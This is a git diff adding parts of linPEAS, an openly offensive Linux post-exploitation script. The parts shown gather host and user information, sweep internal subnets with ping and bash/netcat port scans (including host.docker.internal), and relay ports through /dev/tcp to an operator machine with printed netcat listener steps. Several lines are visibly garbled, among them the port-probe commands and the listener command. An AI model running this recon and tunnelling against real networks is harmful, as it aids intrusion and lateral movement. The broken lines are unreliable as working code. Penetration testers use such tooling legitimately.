mounts, .sh scripts, cronjobs) " | sed "s,Green,${SED_GREEN}," +echo " LightMagenta: Your username" | sed "s,LightMagenta,${SED_LIGHT_MAGENTA}," +if [ "$IAMROOT" ]; then + echo "" + echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${SED_RED_YELLOW}," + sleep 3 +fi +echo "" +printf " ${DG}Starting $SCRIPTNAME. Caching Writable Folders...$NC" +echo "" + + +########################################### +#-----------) Some Basic Info (-----------# +########################################### + +print_title "Basic information" +printf $LG"OS: "$NC +(cat /proc/version || uname -a ) 2>/dev/null +printf $LG"User & Groups: "$NC +(id || (whoami && groups)) 2>/dev/null +printf $LG"Hostname: "$NC +hostname 2>/dev/null +echo "" + +if ! [ "$FAST" ] && ! [ "$AUTO_NETWORK_SCAN" ]; then + printf $LG"Remember that you can use the '-t' option to call the Internet connectivity checks and automatic network recon!\n"$NC; +fi + + +FPING=$(command -v fping 2>/dev/null || echo -n '') +PING=$(command -v ping 2>/dev/null || echo -n '') + +DISCOVER_BAN_BAD="No network discovery capabilities (fping or ping not found)" + +if [ "$FPING" ]; then + DISCOVER_BAN_GOOD="$GREEN$FPING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" +else + if [ "$PING" ]; then + DISCOVER_BAN_GOOD="$GREEN$PING${BLUE} is available for network discovery$LG ($SCRIPTNAME can discover hosts, learn more with -h)" + fi +fi + + +if [ "$DISCOVER_BAN_GOOD" ]; then + printf $YELLOW"[+] $DISCOVER_BAN_GOOD\n$NC" +else + printf $RED"[-] $DISCOVER_BAN_BAD\n$NC" +fi + +if [ "$(command -v bash || echo -n '')" ] && ! [ -L "$(command -v bash || echo -n '')" ]; then + FOUND_BASH=$(command -v bash || echo -n ''); +elif [ -f "/bin/bash" ] && ! [ -L "/bin/bash" ]; then + FOUND_BASH="/bin/bash"; +fi + +FOUND_NC=$(command -v nc 2>/dev/null || echo -n '') +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(command -v netcat 2>/dev/null || echo -n ''); +fi +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(command -v ncat 2>/dev/null || echo -n ''); +fi +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(command -v nc.traditional 2>/dev/null || echo -n ''); +fi +if [ -z "$FOUND_NC" ]; then + FOUND_NC=$(command -v nc.openbsd 2>/dev/null || echo -n ''); +fi + +SCAN_BAN_BAD="No port scan capabilities (nc and bash not found)" +if [ "$FOUND_BASH" ]; then + SCAN_BAN_GOOD="$YELLOW[+] $GREEN$FOUND_BASH${BLUE} is available for network discovery, port scanning and port forwarding$LG ($SCRIPTNAME can discover hosts, scan ports, and forward ports. Learn more with -h)\n" +fi +if [ "$FOUND_NC" ]; then + SCAN_BAN_GOOD="$SCAN_BAN_GOOD$YELLOW[+] $GREEN$FOUND_NC${BLUE} is available for network discovery & port scanning$LG ($SCRIPTNAME can discover hosts and scan ports, learn more with -h)\n" +fi + +if [ "$SCAN_BAN_GOOD" ]; then + printf "$SCAN_BAN_GOOD$NC" +else + printf $RED"[-] $SCAN_BAN_BAD$NC" +fi +if [ "$(command -v nmap 2>/dev/null || echo -n '')" ];then + NMAP_GOOD=$GREEN"nmap${BLUE} is available for network discovery & port scanning, you should use it yourself" + printf $YELLOW"[+] $NMAP_GOOD\n$NC" +fi +echo "" +echo "" + +if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ] || [ "$AUTO_NETWORK_SCAN" ]; then MAXPATH_FIND_W="1"; fi #If Network reduce the time on this + +if ! [ "$USER" ]; then + USER=$(whoami 2>/dev/null || echo -n "UserUnknown") +fi + +for grp in $(groups $USER 2>/dev/null | cut -d ":" -f2); do + wgroups="$wgroups -group $grp -or " +done +wgroups="$(echo $wgroups | sed -e 's/ -or$//')" + +if [ ! "$HOME" ]; then + if [ -d "/Users/$USER" ]; then HOME="/Users/$USER"; #Mac home + else HOME="/home/$USER"; + fi +fi + +SEDOVERFLOW=true +while $SEDOVERFLOW; do + #WF=`find /dev /srv /proc /home /media /sys /lost+found /run /etc /root /var /tmp /mnt /boot /opt -type d -maxdepth $MAXPATH_FIND_W -writable -or -user $USER 2>/dev/null | sort` + #if [ "$MACPEAS" ]; then + WF=$(find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | sort) #OpenBSD find command doesn't have "-writable" option + #else + # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort` + #fi + Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*" + Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm + if ! [ "$Wfolder" ]; then + Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" + fi + printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1 + if [ $? -eq 0 ]; then + SEDOVERFLOW=false + else + MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) #If overflow of directories, check again with MAXPATH_FIND_W - 1 + fi + if [ $MAXPATH_FIND_W -lt 1 ] ; then # prevent infinite loop + SEDOVERFLOW=false + fi +done + +#Get HOMESEARCH +if [ "$SEARCH_IN_FOLDER" ]; then + HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/" +else + HOMESEARCH="/home/ /Users/ /root/ /var/www $(cat /etc/passwd 2>/dev/null | grep "sh$" | cut -d ":" -f 6 | grep -Ev "^/root|^/home|^/Users|^/var/www" | tr "\n" " ")" + if ! echo "$HOMESEARCH" | grep -q "$HOME" && ! echo "$HOMESEARCH" | grep -qE "^/root|^/home|^/Users|^/var/www"; then #If not listed and not in /home, /Users/, /root, or /var/www add current home folder + HOMESEARCH="$HOME $HOMESEARCH" + fi +fi +GREPHOMESEARCH=$(echo "$HOMESEARCH" | sed 's/ *$//g' | tr " " "|") #Remove ending spaces before putting "|" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/linpeas_base/1_check_network_jobs.sh b/linPEAS/builder/linpeas_parts/linpeas_base/1_check_network_jobs.sh new file mode 100644 index 0000000..7e69044 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/linpeas_base/1_check_network_jobs.sh @@ -0,0 +1,316 @@ +# Title: Interesting Files - Check if Network jobs +# ID: BS_check_network_jobs +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: If Network jobs, just execute that, don't execute the rest of the script +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $DISCOVER_BAN_GOOD, $FOUND_BASH, $HELP, $IP, $PORT_FORWARD, $PORTS, $SCAN_BAN_GOOD, $Wfolder +# Initial Functions: +# Generated Global Variables: $LOCAL_IP, $LOCAL_PORT, $REMOTE_IP, $REMOTE_PORT, $NETMASK, $NEWIP, $MYPORTS, $NC_SCAN, $IP3, $local_ips, $local_ip, $disc_ip +# Fat linpeas: 0 +# Small linpeas: 1 + + +basic_net_info(){ + print_title "Basic Network Info" + (ifconfig || ip a) 2>/dev/null + echo "" +} + + +port_forward (){ + LOCAL_IP=$1 + LOCAL_PORT=$2 + REMOTE_IP=$3 + REMOTE_PORT=$4 + + echo "In your machine execute:" + echo "cd /tmp; rm backpipe; mknod backpipe p;" + echo "nc -lvnp $LOCAL_PORT 0backpipe" + echo "" + read -p "Press any key when you have executed those commands" useless_var + + bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &" + echo "If not error was indicated, your host port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT" +} + + +select_nc (){ + #Select the correct configuration of the netcat found + NC_SCAN="$FOUND_NC -v -n -z -w 1" + $($NC_SCAN 127.0.0.1 65321 > /dev/null 2>&1) + if [ $? -eq 2 ] + then + NC_SCAN="timeout 1 $FOUND_NC -v -n" + fi +} + + +icmp_recon (){ + #Discover hosts inside a /24 subnetwork using ping (start pingging broadcast addresses) + IP3=$(echo $1 | cut -d "." -f 1,2,3) + + (timeout 1 ping -b -c 1 "$IP3.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & + (timeout 1 ping -b -c 1 "255.255.255.255" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & + for j in $(seq 0 254) + do + (timeout 1 ping -b -c 1 "$IP3.$j" 2>/dev/null | grep "icmp_seq" | sed -${E} "s,[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+,${SED_RED},") & + done + wait +} + + +tcp_recon (){ + #Discover hosts inside a /24 subnetwork using tcp connection to most used ports and selected ones + IP3=$(echo $1 | cut -d "." -f 1,2,3) + PORTS=$2 + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " + printf "$NC\n" + + for p in $PORTS; do + for j in $(seq 1 254) + do + if [ "$FOUND_BASH" ] && [ "$(command -v timeout 2>/dev/null || echo -n '')" ]; then + timeout 2.5 $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP3.$j:$p\"" & + elif [ "$NC_SCAN" ]; then + ($NC_SCAN "$IP3"."$j" "$p" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + fi + done + wait + done +} + + +discovery_port_scan (){ + basic_net_info + + #Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389 + print_title "Internal Network Discovery - Finding hosts and scanning ports" + DISCOVERY=$1 + MYPORTS=$2 + + IP=$(echo "$DISCOVERY" | cut -d "/" -f 1) + NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2) + echo "Scanning: $DISCOVERY" + + if [ -z "$IP" ] || [ -z "$NETMASK" ] || [ "$IP" = "$NETMASK" ]; then + printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24\n"$NC; + if [ "$IP" = "$NETMASK" ]; then + printf $RED"[*] This options is used to find active hosts by scanning ports. If you want to perform a port scan of a host use the options: ${YELLOW}-i [-p ]\n\n"$NC; + fi + printf ${BLUE}"$HELP"$NC; + exit 0 + fi + + PORTS="22 80 443 445 3389 $(echo $MYPORTS | tr ',' ' ')" + PORTS=$(echo "$PORTS" | tr " " "\n" | sort -u) #Delete repetitions + + if [ "$NETMASK" -eq "24" ]; then + printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n" $NC + tcp_recon "$IP" "$PORTS" + + elif [ "$NETMASK" -eq "16" ]; then + printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n" $NC + for i in $(seq 0 255) + do + NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1 + tcp_recon "$NEWIP" "$PORTS" + done + else + printf $RED"[-] Err: Sorry, only netmask /24 and /16 are supported in port discovery mode. Netmask detected: $NETMASK\n"$NC; + exit 0 + fi +} + + +tcp_port_scan (){ + #Scan open ports of a host. Default: nmap top 1000, but the user can select others + basic_net_info + + print_title "Network Port Scanning" + IP=$1 + PORTS="$2" + + if [ -z "$PORTS" ]; then + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: DEFAULT (nmap top 1000)" $NC | tr '\n' " " + printf "$NC\n" + PORTS="1 3 4 6 7 9 13 17 19 20 21 22 23 24 25 26 30 32 33 37 42 43 49 53 70 79 80 81 82 83 84 85 88 89 90 99 100 106 109 110 111 113 119 125 135 139 143 144 146 161 163 179 199 211 212 222 254 255 256 259 264 280 301 306 311 340 366 389 406 407 416 417 425 427 443 444 445 458 464 465 481 497 500 512 513 514 515 524 541 543 544 545 548 554 555 563 587 593 616 617 625 631 636 646 648 666 667 668 683 687 691 700 705 711 714 720 722 726 749 765 777 783 787 800 801 808 843 873 880 888 898 900 901 902 903 911 912 981 987 990 992 993 995 999 1000 1001 1002 1007 1009 1010 1011 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1102 1104 1105 1106 1107 1108 1110 1111 1112 1113 1114 1117 1119 1121 1122 1123 1124 1126 1130 1131 1132 1137 1138 1141 1145 1147 1148 1149 1151 1152 1154 1163 1164 1165 1166 1169 1174 1175 1183 1185 1186 1187 1192 1198 1199 1201 1213 1216 1217 1218 1233 1234 1236 1244 1247 1248 1259 1271 1272 1277 1287 1296 1300 1301 1309 1310 1311 1322 1328 1334 1352 1417 1433 1434 1443 1455 1461 1494 1500 1501 1503 1521 1524 1533 1556 1580 1583 1594 1600 1641 1658 1666 1687 1688 1700 1717 1718 1719 1720 1721 1723 1755 1761 1782 1783 1801 1805 1812 1839 1840 1862 1863 1864 1875 1900 1914 1935 1947 1971 1972 1974 1984 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2013 2020 2021 2022 2030 2033 2034 2035 2038 2040 2041 2042 2043 2045 2046 2047 2048 2049 2065 2068 2099 2100 2103 2105 2106 2107 2111 2119 2121 2126 2135 2144 2160 2161 2170 2179 2190 2191 2196 2200 2222 2251 2260 2288 2301 2323 2366 2381 2382 2383 2393 2394 2399 2401 2492 2500 2522 2525 2557 2601 2602 2604 2605 2607 2608 2638 2701 2702 2710 2717 2718 2725 2800 2809 2811 2869 2875 2909 2910 2920 2967 2968 2998 3000 3001 3003 3005 3006 3007 3011 3013 3017 3030 3031 3052 3071 3077 3128 3168 3211 3221 3260 3261 3268 3269 3283 3300 3301 3306 3322 3323 3324 3325 3333 3351 3367 3369 3370 3371 3372 3389 3390 3404 3476 3493 3517 3527 3546 3551 3580 3659 3689 3690 3703 3737 3766 3784 3800 3801 3809 3814 3826 3827 3828 3851 3869 3871 3878 3880 3889 3905 3914 3918 3920 3945 3971 3986 3995 3998 4000 4001 4002 4003 4004 4005 4006 4045 4111 4125 4126 4129 4224 4242 4279 4321 4343 4443 4444 4445 4446 4449 4550 4567 4662 4848 4899 4900 4998 5000 5001 5002 5003 5004 5009 5030 5033 5050 5051 5054 5060 5061 5080 5087 5100 5101 5102 5120 5190 5200 5214 5221 5222 5225 5226 5269 5280 5298 5357 5405 5414 5431 5432 5440 5500 5510 5544 5550 5555 5560 5566 5631 5633 5666 5678 5679 5718 5730 5800 5801 5802 5810 5811 5815 5822 5825 5850 5859 5862 5877 5900 5901 5902 5903 5904 5906 5907 5910 5911 5915 5922 5925 5950 5952 5959 5960 5961 5962 5963 5987 5988 5989 5998 5999 6000 6001 6002 6003 6004 6005 6006 6007 6009 6025 6059 6100 6101 6106 6112 6123 6129 6156 6346 6389 6502 6510 6543 6547 6565 6566 6567 6580 6646 6666 6667 6668 6669 6689 6692 6699 6779 6788 6789 6792 6839 6881 6901 6969 7000 7001 7002 7004 7007 7019 7025 7070 7100 7103 7106 7200 7201 7402 7435 7443 7496 7512 7625 7627 7676 7741 7777 7778 7800 7911 7920 7921 7937 7938 7999 8000 8001 8002 8007 8008 8009 8010 8011 8021 8022 8031 8042 8045 8080 8081 8082 8083 8084 8085 8086 8087 8088 8089 8090 8093 8099 8100 8180 8181 8192 8193 8194 8200 8222 8254 8290 8291 8292 8300 8333 8383 8400 8402 8443 8500 8600 8649 8651 8652 8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389" + else + PORTS="$(echo $PORTS | tr ',' ' ')" + printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " + printf "$NC\n" + fi + + for p in $PORTS; do + if [ "$FOUND_BASH" ]; then + $FOUND_BASH -c "(echo /dev/null && echo -n \"[+] Open port at: $IP:$p\"" & + elif [ "$NC_SCAN" ]; then + ($NC_SCAN "$IP" "$p" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & + fi + done + wait +} + + +discover_network (){ + #Check if IP and Netmask are correct and the use fping or ping to find hosts + basic_net_info + + print_title "Network Discovery" + + DISCOVERY=$1 + IP=$(echo "$DISCOVERY" | cut -d "/" -f 1) + NETMASK=$(echo "$DISCOVERY" | cut -d "/" -f 2) + + if [ -z "$IP" ] || [ -z "$NETMASK" ]; then + printf $RED"[-] Err: Bad format. Example: 127.0.0.1/24"$NC; + printf ${BLUE}"$HELP"$NC; + exit 0 + fi + + #Using fping if possible + if [ "$FPING" ]; then + $FPING -a -q -g "$DISCOVERY" | sed -${E} "s,.*,${SED_RED}," + + #Loop using ping + else + if [ "$NETMASK" -eq "24" ]; then + printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n$NC" + icmp_recon $IP + + elif [ "$NETMASK" -eq "16" ]; then + printf ${YELLOW}"[+]$GREEN Netmask /16 detected, starting...\n$NC" + for i in $(seq 1 254) + do + NEWIP=$(echo "$IP" | cut -d "." -f 1,2).$i.1 + icmp_recon "$NEWIP" + done + else + printf $RED"[-] Err: Sorry, only Netmask /24 and /16 supported in ping mode. Netmask detected: $NETMASK"$NC; + exit 0 + fi + fi +} + + +if [ "$PORTS" ]; then + if [ "$SCAN_BAN_GOOD" ]; then + if [ "$(echo -n $PORTS | sed 's,[0-9, ],,g')" ]; then + printf $RED"[-] Err: Symbols detected in the port, for discovering purposes select only 1 port\n"$NC; + printf ${BLUE}"$HELP"$NC; + exit 0 + else + #Select the correct configuration of the netcat found + select_nc + fi + else + printf $RED" Err: Port scan not possible, any netcat in PATH\n"$NC; + printf ${BLUE}"$HELP"$NC; + exit 0 + fi +fi + +if [ "$DISCOVERY" ]; then + if [ "$PORTS" ]; then + discovery_port_scan $DISCOVERY $PORTS + else + if [ "$DISCOVER_BAN_GOOD" ]; then + discover_network $DISCOVERY + else + printf $RED" Err: Discovery not possible, no fping or ping in PATH\n"$NC; + fi + fi + exit 0 + +elif [ "$IP" ]; then + select_nc + tcp_port_scan $IP "$PORTS" + exit 0 +fi + +if [ "$PORT_FORWARD" ]; then + if ! [ "$FOUND_BASH" ]; then + printf $RED"[-] Err: Port forwarding not possible, no bash in PATH\n"$NC; + exit 0 + fi + + LOCAL_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 1)" + LOCAL_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 2)" + REMOTE_IP="$(echo -n $PORT_FORWARD | cut -d ':' -f 3)" + REMOTE_PORT="$(echo -n $PORT_FORWARD | cut -d ':' -f 4)" + + if ! [ "$LOCAL_IP" ] || ! [ "$LOCAL_PORT" ] || ! [ "$REMOTE_IP" ] || ! [ "$REMOTE_PORT" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + exit 0 + fi + + #Check if LOCAL_PORT is a number + if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + fi + + #Check if REMOTE_PORT is a number + if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then + printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; + fi + + port_forward "$LOCAL_IP" "$LOCAL_PORT" "$REMOTE_IP" "$REMOTE_PORT" + exit 0 +fi + +if [ "$AUTO_NETWORK_SCAN" ]; then + basic_net_info + if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then + printf $RED"[-] $SCAN_BAN_BAD\n$NC" + echo "The network is not going to be scanned..." + + elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip || echo -n '')" ]; then + printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC" + echo "The network is not going to be scanned..." + + else + print_2title "Scanning local networks (using /24)" + + if ! [ "$PING" ] && ! [ "$FPING" ]; then + printf $RED"[-] $DISCOVER_BAN_BAD\n$NC" + fi + + select_nc + local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") + printf "%s\n" "$local_ips" | while read local_ip; do + if ! [ -z "$local_ip" ]; then + print_3title "Discovering hosts in $local_ip/24" + + if [ "$PING" ] || [ "$FPING" ]; then + discover_network "$local_ip/24" | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Network Discovery" | grep -v "Network Discovery" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $Wfolder/.ips.tmp + fi + + discovery_port_scan "$local_ip/24" 22 | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Ports going to be scanned" | grep -v "Ports going to be scanned" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp + + sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips + rm $Wfolder/.ips.tmp 2>/dev/null + + while read disc_ip; do + me="" + if [ "$disc_ip" = "$local_ip" ]; then + me=" (local)" + fi + + echo "Scanning top ports of ${disc_ip}${me}" + (tcp_port_scan "$disc_ip" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null + echo "" + done < $Wfolder/.ips + + rm $Wfolder/.ips 2>/dev/null + echo "" + fi + done + + print_3title "Scanning top ports of host.docker.internal" + (tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null + echo "" + fi + exit 0 +fi diff --git a/linPEAS/builder/linpeas_parts/linpeas_base/2_caching_finds.sh b/linPEAS/builder/linpeas_parts/linpeas_base/2_caching_finds.sh new file mode 100644 index 0000000..9d45f6f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/linpeas_base/2_caching_finds.sh @@ -0,0 +1,46 @@ +# Title: Interesting Files - Check if Network jobs +# ID: BS_caching_finds +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Cache interesting files discoevred in the file system +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: $CHECKS, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $CONT_THREADS, $backup_folders_row +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$SEARCH_IN_FOLDER" ]; then + printf $GREEN"Caching directories "$NC + + CONT_THREADS=0 + # FIND ALL KNOWN INTERESTING SOFTWARE FILES + peass{FINDS_CUSTOM} + + wait # Always wait at the end + CONT_THREADS=0 #Reset the threads counter + +elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then + + printf $GREEN"Caching directories "$NC + + CONT_THREADS=0 + # FIND ALL KNOWN INTERESTING SOFTWARE FILES + peass{FINDS_HERE} + + wait # Always wait at the end + CONT_THREADS=0 #Reset the threads counter +fi + +if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then + #GENERATE THE STORAGES OF THE FOUND FILES + peass{STORAGES_HERE} + + ##### POST SERACH VARIABLES ##### + backup_folders_row="$(echo $PSTORAGE_BACKUPS | tr '\n' ' ')" + printf ${YELLOW}"DONE\n"$NC + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/variables/GCP_BAD_SCOPES.sh b/linPEAS/builder/linpeas_parts/variables/GCP_BAD_SCOPES.sh new file mode 100644 index 0000000..c48020a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/GCP_BAD_SCOPES.sh @@ -0,0 +1,16 @@ +# Title: Variables - GCP_BAD_SCOPES +# ID: GCP_BAD_SCOPES +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Dangerous GCP Scopes +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $GCP_BAD_SCOPES +# Fat linpeas: 0 +# Small linpeas: 1 + + +GCP_BAD_SCOPES="/cloud-platform|/compute" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/GCP_GOOD_SCOPES.sh b/linPEAS/builder/linpeas_parts/variables/GCP_GOOD_SCOPES.sh new file mode 100644 index 0000000..016f7b6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/GCP_GOOD_SCOPES.sh @@ -0,0 +1,16 @@ +# Title: Variables - GCP_GOOD_SCOPES +# ID: GCP_GOOD_SCOPES +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Good GCP Scopes not dangerous +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $GCP_GOOD_SCOPES +# Fat linpeas: 0 +# Small linpeas: 1 + + +GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS.sh b/linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS.sh new file mode 100644 index 0000000..1d5cf73 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS.sh @@ -0,0 +1,16 @@ +# Title: Variables - GREP_DOCKER_SOCK_INFOS +# ID: GREP_DOCKER_SOCK_INFOS +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Grep docker.sock infos +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $GREP_DOCKER_SOCK_INFOS +# Fat linpeas: 0 +# Small linpeas: 1 + + +GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSystem|KernelVersion|ServerVersion" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS_IGNORE.sh b/linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS_IGNORE.sh new file mode 100644 index 0000000..52e876d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/GREP_DOCKER_SOCK_INFOS_IGNORE.sh @@ -0,0 +1,16 @@ +# Title: Variables - GREP_DOCKER_SOCK_INFOS_IGNORE +# ID: GREP_DOCKER_SOCK_INFOS_IGNORE +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Ignore this strings when grepping docker.sock infos +# License: GNU GPL +# Version: 1.0 +# Functions Used: +# Global Variables: +# Initial Functions: +# Generated Global Variables: $GREP_DOCKER_SOCK_INFOS_IGNORE +# Fat linpeas: 0 +# Small linpeas: 1 + + +GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/variables/GREP_IGNORE_MOUNTS.sh b/linPEAS/builder/linpeas_parts/variables/GREP_IGNORE_MOUNTS.sh new file mode 100644 index 0000000..631af02 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/variables/GREP_IGNORE_MOUNTS.sh @@ -0,0 +1,16 @@ +# Title: Variables - GREP_IGNORE_MOUNTS +# 